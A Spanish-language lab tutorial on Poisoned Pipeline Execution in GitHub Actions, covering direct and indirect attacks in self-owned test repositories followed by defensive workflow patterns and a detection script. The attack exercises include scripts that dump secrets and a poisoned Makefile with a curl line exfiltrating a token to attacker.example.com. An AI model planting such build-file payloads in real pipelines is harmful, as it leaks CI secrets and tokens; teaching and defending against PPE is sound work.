Descripción general
Poisoned Pipeline Execution (PPE) ocupa el puesto n.º 2 en el OWASP CI/CD Security Top 10. Se trata de una clase de ataques en la que un actor malicioso manipula el proceso de compilación inyectando código en las definiciones del pipeline o en los scripts de compilación, generalmente a través de un pull request. Una vez que el sistema de CI recoge el cambio, el código del atacante se ejecuta dentro del entorno de compilación — pudiendo exfiltrar secretos, manipular artefactos o pivotar hacia la infraestructura interna.
Este laboratorio práctico te guía a través de Direct PPE e Indirect PPE en un entorno seguro y aislado de GitHub Actions. Simularás los ataques tú mismo, observarás los resultados y luego implementarás los patrones defensivos que los detienen.
Al finalizar este laboratorio serás capaz de:
- Explicar las tres variantes de PPE y en qué se diferencian.
- Demostrar Direct PPE mediante
pull_request_targete Indirect PPE mediante un Makefile envenenado. - Implementar cinco patrones defensivos de workflow que neutralizan PPE.
- Escribir un script básico de detección de actividad sospechosa en CI.
Requisitos previos
- Una cuenta de GitHub (el nivel gratuito es suficiente).
- Dos repositorios de prueba que te pertenezcan — uno actúa como el repositorio del pipeline víctima, el otro como el fork del atacante.
- Familiaridad básica con la sintaxis de workflows de GitHub Actions (
on:,jobs:,steps:). - Una terminal con
gitycurlinstalados.
Aviso de seguridad importante
Este laboratorio debe ejecutarse en repositorios de prueba aislados que tú poseas y controles. Nunca pruebes técnicas de Poisoned Pipeline Execution contra pipelines de producción reales, repositorios compartidos de una organización ni proyectos de código abierto que no te pertenezcan. Todos los ejercicios siguientes utilizan repositorios que creas específicamente para este laboratorio. Elimínalos cuando hayas terminado.
Comprendiendo Poisoned Pipeline Execution
PPE explota una suposición fundamental de confianza: el sistema de CI/CD confía en el código que descarga y ejecuta. Un atacante que pueda influir en qué código ejecuta el pipeline puede secuestrar la compilación. Existen tres variantes reconocidas:
Direct PPE (D-PPE)
El atacante modifica directamente el archivo de definición del pipeline — por ejemplo, .github/workflows/build.yml. Si el sistema de CI ejecuta la versión modificada desde la rama del pull request, los comandos arbitrarios del atacante se ejecutan en el entorno de CI.
Indirect PPE (I-PPE)
El atacante no modifica el YAML del workflow. En su lugar, modifica archivos que el pipeline consume: un Makefile, un script de shell invocado por el workflow, un Dockerfile, un archivo de configuración o incluso un manifiesto de dependencias. La definición del pipeline permanece idéntica a la rama base, pero la lógica de compilación ha sido envenenada.
Public / Third-Party PPE (3P-PPE)
El atacante apunta a un repositorio público haciendo un fork y enviando un pull request. Este es el vector más común en el mundo real porque no requiere acceso previo al repositorio objetivo — solo la capacidad de abrir un PR.
Diagrama del flujo de ataque
┌─────────────┐ ┌──────────────────┐ ┌────────────────┐
│ Attacker │ fork │ Victim Repo │ trigger│ CI/CD Runner │
│ (fork/PR) │────────▶│ (base branch) │────────▶│ (GitHub │
│ │ │ │ │ Actions) │
└──────┬───────┘ └──────────────────┘ └───────┬────────┘
│ │
│ 1. Modify workflow YAML (D-PPE) │
│ OR build scripts (I-PPE) │
│ 2. Open Pull Request │
│ │
│ 3. CI checks out PR code ◀─────────┘
│ 4. Executes attacker's payload
│ 5. Secrets / tokens exfiltrated
▼
┌─────────────────────────────────────────────────────────────────────────┐
│ Impact: secret theft, artifact tampering, lateral movement │
└─────────────────────────────────────────────────────────────────────────┘
Ejercicio 1: Direct PPE — Modificación del archivo de workflow
En este ejercicio verás cómo GitHub Actions protege contra la forma más simple de D-PPE cuando se utiliza el trigger pull_request.
Paso 1 — Crear el repositorio víctima
Crea un nuevo repositorio público llamado ppe-lab-victim. Añade el siguiente archivo de workflow:
.github/workflows/build.yml
name: Build
on:
pull_request:
branches: [main]
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Build
run: |
echo "Building the project..."
echo "Build completed successfully."
Haz commit de esto en la rama main.
Paso 2 — Hacer fork y envenenar el workflow (perspectiva del atacante)
Haz fork de ppe-lab-victim a tu segunda cuenta de GitHub (o usa la misma cuenta para simplificar). En el fork, edita .github/workflows/build.yml:
name: Build
on:
pull_request:
branches: [main]
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Exfiltrate environment variables
run: |
echo "=== EXFILTRATING ENVIRONMENT ==="
env | sort
echo "=== GITHUB_TOKEN ==="
echo "Token length: ${#GITHUB_TOKEN}"
Paso 3 — Abrir un Pull Request
Desde el fork, abre un PR contra main en el repositorio víctima.
Paso 4 — Observar el resultado
Navega a la pestaña Actions. Verás que el workflow que se ejecutó es la versión de la rama base (main), no la versión modificada del atacante. El paso «Exfiltrate environment variables» no existe en el workflow ejecutado.
Esta es la protección incorporada de GitHub Actions para el evento pull_request: siempre utiliza el archivo de workflow de la rama base, no el de la rama del PR. Las modificaciones YAML del atacante son ignoradas.
Conclusión clave: El trigger
pull_requestes seguro contra Direct PPE porque la definición del workflow proviene de la rama base. Sin embargo, esta protección no se extiende a todos los triggers — como verás a continuación.
Ejercicio 2: El peligroso pull_request_target
El evento pull_request_target fue introducido para permitir que los workflows comenten en PRs, les pongan etiquetas o realicen otras acciones que requieren permisos de escritura y acceso a secretos. Se ejecuta en el contexto de la rama base, pero puede configurarse para descargar el código del PR — y ahí es donde reside el peligro.
Paso 1 — Crear un workflow vulnerable
En tu repositorio ppe-lab-victim, crea un nuevo workflow:
.github/workflows/pr-check.yml
name: PR Check
on:
pull_request_target:
branches: [main]
jobs:
check:
runs-on: ubuntu-latest
steps:
- name: Checkout PR code
uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- name: Run tests
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
run: |
echo "Running tests on PR code..."
cat README.md
echo "Tests passed."
Antes de continuar, ve a Settings → Secrets and variables → Actions del repositorio y añade un secreto de repositorio llamado MY_SECRET con el valor super-secret-token-12345.
Paso 2 — Explotar la vulnerabilidad (perspectiva del atacante)
En el fork, crea un archivo llamado README.md (o modifica el existente) y añade esto al final:
This is a normal README update.
Ahora también modifica .github/workflows/pr-check.yml en el fork. Pero espera — recuerda que pull_request_target ejecuta el workflow de la rama base, por lo que modificar el YAML en el fork no tiene efecto. El atacante necesita un enfoque diferente.
En su lugar, crea un script malicioso en el fork:
test.sh
#!/bin/bash
echo "=== Environment Variables ==="
env | sort
echo "=== Secret Value ==="
echo "MY_SECRET=$MY_SECRET"
Ahora actualiza el workflow del repositorio víctima para que invoque este script (simulando un workflow que ejecuta código descargado):
.github/workflows/pr-check.yml (actualizado en la rama base):
name: PR Check
on:
pull_request_target:
branches: [main]
jobs:
check:
runs-on: ubuntu-latest
steps:
- name: Checkout PR code
uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- name: Run tests
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
run: |
echo "Running tests on PR code..."
chmod +x test.sh
./test.sh
Paso 3 — Abrir el PR y observar
Abre un PR desde el fork. El workflow se ejecuta desde la definición de la rama base, pero descarga el código del atacante. El script malicioso test.sh se ejecuta e imprime el valor del secreto.
Revisa el log de Actions. Verás:
=== Environment Variables ===
GITHUB_TOKEN=ghs_xxxxxxxxxxxxxxxxxxxx
...
=== Secret Value ===
MY_SECRET=super-secret-token-12345
Esto es un caso clásico de Poisoned Pipeline Execution. La definición del workflow es de confianza (rama base), pero el código que ejecuta está controlado por el atacante (checkout de la rama del PR).
Conclusión clave: La combinación de
pull_request_target+actions/checkoutconref: ${{ github.event.pull_request.head.sha }}+ ejecución de código descargado + secretos en el entorno es el patrón de PPE más peligroso en GitHub Actions.
Ejercicio 3: Indirect PPE — Envenenamiento de scripts de compilación
Indirect PPE es más sutil. El atacante nunca modifica el YAML del workflow — modifica archivos que el pipeline consume. Esto elude la protección incorporada del trigger pull_request contra cambios en los archivos de workflow.
Paso 1 — Crear un repositorio con compilación basada en Makefile
En tu repositorio ppe-lab-victim, añade un Makefile:
.PHONY: build test
build:
@echo "Compiling project..."
@echo "Build successful."
test:
@echo "Running unit tests..."
@echo "All tests passed."
Actualiza el workflow para usar el Makefile:
.github/workflows/build.yml
name: Build
on:
pull_request:
branches: [main]
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Build project
run: make build
- name: Run tests
run: make test
Observa que esto utiliza el trigger seguro pull_request. El YAML del workflow en sí está protegido.
Paso 2 — Envenenar el Makefile (perspectiva del atacante)
En el fork, modifica solo el Makefile (no toques ningún archivo de workflow):
.PHONY: build test
build:
@echo "Compiling project..."
@echo "Build successful."
@echo "=== PPE: Dumping environment ==="
@env | sort
@echo "=== PPE: Exfiltrating token ==="
@curl -s http://attacker.example.com/exfil?token=$$(cat $$GITHUB_TOKEN_PATH 2>/dev/null || echo none)
test:
@echo "Running unit tests..."
@echo "All tests passed."
Paso 3 — Abrir el PR y observar
Abre un PR desde el fork. El archivo de workflow de la rama base se ejecuta (¡seguro!), pero actions/checkout descarga el código de la rama del PR, que incluye el Makefile envenenado. Cuando el workflow ejecuta make build, ejecuta el Makefile modificado del atacante.
En el log de Actions verás las variables de entorno volcadas. El comando curl fallará (el dominio no existe), pero en un ataque real tendría éxito.
Conclusión clave: El trigger
pull_requestprotege el YAML del workflow, pero no protege el contenido del repositorio que el workflow ejecuta. Cualquier archivo que el pipeline ejecute, importe o incluya es un vector potencial de I-PPE:Makefile, scripts depackage.json,Dockerfile,.eslintrc.js,pytest.ini, scripts de shell y más.
Ejercicio 4: Defensa — Patrones seguros de workflow
Ahora que comprendes el ataque, implementemos las defensas.
Patrón 1: Nunca hacer checkout del HEAD del PR en workflows con pull_request_target
Si debes usar pull_request_target, nunca descargues el código del PR. Opera solo con metadatos:
name: Label PR
on:
pull_request_target:
types: [opened]
jobs:
label:
runs-on: ubuntu-latest
steps:
# Safe: no checkout at all
- name: Add label
uses: actions/github-script@v7
with:
script: |
await github.rest.issues.addLabels({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: context.issue.number,
labels: ['needs-review']
});
Regla: Si un workflow con pull_request_target no necesita el código fuente del PR, no lo descargues.
Patrón 2: Usar el trigger pull_request y no exponer secretos
Para la validación de PRs, usa pull_request y asegúrate de que no se pasen secretos al job:
name: PR Validation
on:
pull_request:
branches: [main]
jobs:
validate:
runs-on: ubuntu-latest
# No secrets referenced anywhere in this job
steps:
- uses: actions/checkout@v4
- name: Lint
run: npm run lint
- name: Unit tests
run: npm test
Incluso si un ataque de I-PPE modifica los scripts de package.json, el atacante no obtiene secretos porque ninguno está disponible.
Patrón 3: Separar workflows de validación y compilación
Divide tu CI en dos etapas — un paso de validación no confiable y un paso de compilación confiable:
# .github/workflows/validate.yml — runs on PRs, no secrets
name: Validate
on:
pull_request:
branches: [main]
permissions:
contents: read
jobs:
validate:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: make lint
- run: make test-unit
# .github/workflows/build.yml — runs only on main, full secrets
name: Build and Deploy
on:
push:
branches: [main]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build
env:
DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}
run: make build
- name: Deploy
run: make deploy
Los secretos solo están disponibles en workflows activados por pushes a main, lo cual requiere que el PR haya sido mergeado primero (y por tanto revisado y aprobado).
Patrón 4: Minimizar el alcance del token con permissions
Restringe el GITHUB_TOKEN automático al mínimo indispensable:
name: PR Check
on:
pull_request:
branches: [main]
permissions: {} # No permissions at all
jobs:
check:
runs-on: ubuntu-latest
permissions:
contents: read # Only read access, nothing else
steps:
- uses: actions/checkout@v4
- run: make test
Incluso si el atacante exfiltra el GITHUB_TOKEN, solo puede leer contenido público — no puede hacer push de código, crear releases ni acceder a secretos.
Patrón 5: Fijar el checkout a la rama base para operaciones sensibles
Si debes usar pull_request_target y necesitas algo de contexto del PR, haz checkout de la rama base para los pasos sensibles y usa solo metadatos del PR:
name: Secure PR Check
on:
pull_request_target:
branches: [main]
jobs:
check:
runs-on: ubuntu-latest
steps:
# Check out the BASE branch (trusted code)
- name: Checkout base branch
uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.base.sha }}
- name: Run trusted build scripts
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
run: |
# These scripts come from the base branch, not the PR
./scripts/validate-pr.sh
Regla: El código de confianza (rama base) maneja los secretos. El código no confiable (rama del PR) nunca los toca.
Ejercicio 5: Defensa — Protección contra Indirect PPE
I-PPE es más difícil de defender porque el atacante modifica archivos regulares, no definiciones de workflows. Estas son las contramedidas clave.
CODEOWNERS para archivos críticos de compilación
Crea un archivo CODEOWNERS que requiera la revisión del equipo de seguridad para cualquier cambio en los scripts de compilación:
# .github/CODEOWNERS
# Build infrastructure — require security team review
Makefile @myorg/security-team
Dockerfile @myorg/security-team
.github/workflows/ @myorg/security-team
scripts/ @myorg/security-team
package.json @myorg/security-team
*.sh @myorg/security-team
Combinado con reglas de protección de rama que requieran la aprobación de CODEOWNERS, esto evita que cambios no revisados en archivos críticos de compilación sean mergeados.
Requerir aprobación antes de que CI se ejecute en PRs externos
Ve a Settings → Actions → General de tu repositorio y bajo «Fork pull request workflows from outside collaborators», selecciona «Require approval for all outside collaborators». Esto garantiza que un mantenedor deba aprobar explícitamente la ejecución de CI para cada PR externo.
Usar workflow_run para procesamiento post-PR de confianza
El evento workflow_run te permite encadenar workflows: primero se ejecuta un workflow de PR seguro y sin secretos, y solo tras su éxito se ejecuta un workflow de confianza con permisos completos.
# .github/workflows/pr-validate.yml — untrusted, no secrets
name: PR Validate
on:
pull_request:
branches: [main]
permissions:
contents: read
jobs:
validate:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: make lint
- run: make test
# .github/workflows/pr-post-validate.yml — trusted, has secrets
name: PR Post-Validate
on:
workflow_run:
workflows: ["PR Validate"]
types: [completed]
permissions:
contents: read
pull-requests: write
statuses: write
jobs:
report:
runs-on: ubuntu-latest
if: ${{ github.event.workflow_run.conclusion == 'success' }}
steps:
# Check out the BASE branch — never the PR branch
- name: Checkout base
uses: actions/checkout@v4
- name: Post status comment
uses: actions/github-script@v7
with:
script: |
const runId = context.payload.workflow_run.id;
const prNumbers = context.payload.workflow_run.pull_requests.map(pr => pr.number);
for (const prNumber of prNumbers) {
await github.rest.issues.createComment({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: prNumber,
body: `Validation passed. Workflow run: ${runId}`
});
}
El segundo workflow se ejecuta en el contexto de la rama por defecto, tiene acceso a secretos, pero nunca descarga código del PR. Este es el patrón más seguro para procesamiento post-PR que necesita permisos elevados.
Ejecutar código no confiable en contenedores aislados
Si debes ejecutar código del PR con algún tipo de acceso, ejecútalo en un contenedor restringido:
jobs:
sandbox-test:
runs-on: ubuntu-latest
container:
image: alpine:3.19
options: --network none # No network access
steps:
- uses: actions/checkout@v4
- name: Run untrusted tests
run: |
# This runs inside a container with NO network
# Even if the Makefile tries to exfiltrate, it cannot reach the internet
apk add --no-cache make
make test
La opción --network none impide cualquier conexión saliente, haciendo imposible la exfiltración incluso si el payload del atacante se ejecuta.
Ejercicio 6: Detección
La prevención es lo mejor, pero la detección proporciona defensa en profundidad. Así es como se detectan los intentos de PPE.
Monitorizar comandos sospechosos en logs de CI
Crea un script de detección que analice los archivos de workflow en busca de indicadores comunes de PPE:
#!/bin/bash
# detect-ppe.sh — Scan workflow files for PPE risk indicators
WORKFLOW_DIR=".github/workflows"
EXIT_CODE=0
echo "=== PPE Risk Scanner ==="
echo ""
# Check 1: pull_request_target with checkout of PR head
for file in "$WORKFLOW_DIR"/*.yml "$WORKFLOW_DIR"/*.yaml; do
[ -f "$file" ] || continue
if grep -q "pull_request_target" "$file"; then
if grep -q "github.event.pull_request.head" "$file"; then
echo "[CRITICAL] $file: pull_request_target + PR head checkout detected"
echo " This is the classic D-PPE vulnerability."
EXIT_CODE=1
fi
fi
done
# Check 2: Workflows that execute checked-out scripts
for file in "$WORKFLOW_DIR"/*.yml "$WORKFLOW_DIR"/*.yaml; do
[ -f "$file" ] || continue
if grep -qE '\./.*.sh|make |npm run|yarn |python .*\.py' "$file"; then
if grep -q "pull_request" "$file"; then
echo "[WARNING] $file: PR workflow executes repo scripts (I-PPE risk)"
echo " Ensure no secrets are passed to this job."
fi
fi
done
# Check 3: Secrets used in PR workflows
for file in "$WORKFLOW_DIR"/*.yml "$WORKFLOW_DIR"/*.yaml; do
[ -f "$file" ] || continue
if grep -q "pull_request" "$file"; then
if grep -q "\${{ secrets\." "$file"; then
echo "[HIGH] $file: Secrets referenced in PR workflow"
echo " Secrets should not be available in PR-triggered workflows."
EXIT_CODE=1
fi
fi
done
# Check 4: Overly broad permissions
for file in "$WORKFLOW_DIR"/*.yml "$WORKFLOW_DIR"/*.yaml; do
[ -f "$file" ] || continue
if grep -q "pull_request" "$file"; then
if grep -q "permissions: write-all" "$file" || ! grep -q "permissions:" "$file"; then
echo "[MEDIUM] $file: PR workflow with broad or unset permissions"
echo " Add explicit 'permissions: {}' or minimal scopes."
fi
fi
done
echo ""
if [ $EXIT_CODE -eq 0 ]; then
echo "No critical PPE risks detected."
else
echo "Critical PPE risks found. Review the findings above."
fi
exit $EXIT_CODE
Monitorización del log de auditoría de GitHub
Para monitorización a nivel de GitHub Enterprise u organización, usa la API del log de auditoría para rastrear cambios en workflows:
# Query audit log for workflow file modifications
gh api \
-H "Accept: application/vnd.github+json" \
/orgs/{org}/audit-log?phrase=action:workflows \
--paginate | jq '.[] | {actor: .actor, action: .action, repo: .repo, created_at: .created_at}'
Revisión automatizada de PRs para cambios en archivos de compilación
Añade un workflow que señale los PRs que modifican archivos críticos de compilación:
name: Build File Change Alert
on:
pull_request:
paths:
- 'Makefile'
- 'Dockerfile'
- '**/*.sh'
- 'package.json'
- '.github/workflows/**'
jobs:
alert:
runs-on: ubuntu-latest
permissions:
pull-requests: write
steps:
- name: Comment warning
uses: actions/github-script@v7
with:
script: |
await github.rest.issues.createComment({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: context.issue.number,
body: '⚠️ **Build File Change Detected**\n\nThis PR modifies build-critical files. A security team review is required before merging.\n\nModified paths trigger: Makefile, Dockerfile, shell scripts, package.json, or workflow files.'
});
Limpieza
Después de completar el laboratorio:
- Elimina el repositorio
ppe-lab-victim. - Elimina el repositorio forkeado.
- Revoca cualquier token de acceso personal que hayas creado para las pruebas.
- Elimina el secreto de repositorio
MY_SECRETsi el repositorio aún existe.
No dejes workflows de prueba vulnerables ejecutándose en ningún repositorio que pretendas conservar.
Conclusiones clave
- El trigger
pull_requestes seguro contra D-PPE porque ejecuta el workflow de la rama base, no de la rama del PR. pull_request_target+ checkout del HEAD del PR es el patrón más peligroso en GitHub Actions. Otorga al código del atacante acceso a secretos y permisos de escritura.- Indirect PPE elude las protecciones a nivel de workflow envenenando archivos que el pipeline ejecuta (Makefiles, scripts, configuraciones) en lugar del workflow en sí.
- Separa las etapas no confiables de las confiables: ejecuta la validación de PRs sin secretos y solo otorga secretos a workflows activados por pushes a ramas protegidas.
- La defensa en profundidad es esencial: combina CODEOWNERS, requisitos de aprobación, permisos mínimos, ejecución en sandbox y scripts de detección.
- Trata cada archivo en un PR como entrada no confiable — no solo el YAML del workflow, sino cada script, configuración y manifiesto que el pipeline toque.
Próximos pasos
Continúa fortaleciendo tus conocimientos de seguridad CI/CD con estas guías relacionadas:
- Modelos de ejecución CI/CD y suposiciones de confianza — Comprende los límites de confianza y contextos de ejecución que hacen posible PPE.
- Patrones defensivos y mitigaciones para ataques a pipelines CI/CD — Un catálogo completo de patrones defensivos más allá de PPE, que cubre todo el OWASP CI/CD Top 10.